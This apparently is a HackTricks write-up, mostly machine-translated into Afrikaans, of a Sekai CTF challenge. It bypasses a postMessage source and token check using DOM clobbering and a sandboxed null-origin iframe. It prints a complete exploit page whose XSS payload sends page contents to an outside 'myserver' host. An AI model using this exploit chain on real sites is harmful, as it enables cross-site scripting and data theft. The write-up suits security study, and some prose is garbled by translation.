Bypassing SOP with Iframes - 2
Reading time: 4 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Iframes in SOP-2
In the solution for this challenge, @Strellic_ stel 'n soortgelyke metode voor as die vorige afdeling. Kom ons kyk daarna.
In this challenge the attacker needs to bypass this:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
As hy dit doen, kan hy 'n postmessage met HTML-inhoud stuur wat op die bladsy geskryf gaan word met innerHTML
sonder sanitasie (XSS).
Die manier om die eerste kontrole te omseil, is deur window.calc.contentWindow
na undefined
en e.source
na null
te maak:
window.calc.contentWindow
is eintlikdocument.getElementById("calc")
. Jy kandocument.getElementById
oorheers met<img name=getElementById />
(let op dat die Sanitizer API -hier- nie gekonfigureer is om teen DOM oorheersing aanvalle in sy standaardtoestand te beskerm nie).- Daarom kan jy
document.getElementById("calc")
oorheers met<img name=getElementById /><div id=calc></div>
. Dan salwindow.calc
undefined
wees. - Nou moet ons hê dat
e.source
undefined
ofnull
moet wees (want==
word gebruik in plaas van===
,null == undefined
isTrue
). Om dit te kry is "maklik". As jy 'n iframe skep en 'n postMessage daaruit stuur en onmiddellik die iframe verwyder, sale.origin
null
wees. Kontroleer die volgende kode
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Om die tweede kontrole oor die token te omseil, stuur token
met die waarde null
en maak window.token
se waarde undefined
:
- Om
token
in die postMessage met die waardenull
te stuur, is trivial. window.token
in die oproep van die funksiegetCookie
watdocument.cookie
gebruik. Let daarop dat enige toegang totdocument.cookie
innull
oorsprong bladsye 'n fout veroorsaak. Dit sal maak datwindow.token
die waardeundefined
het.
Die finale oplossing deur @terjanq is die volgende:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.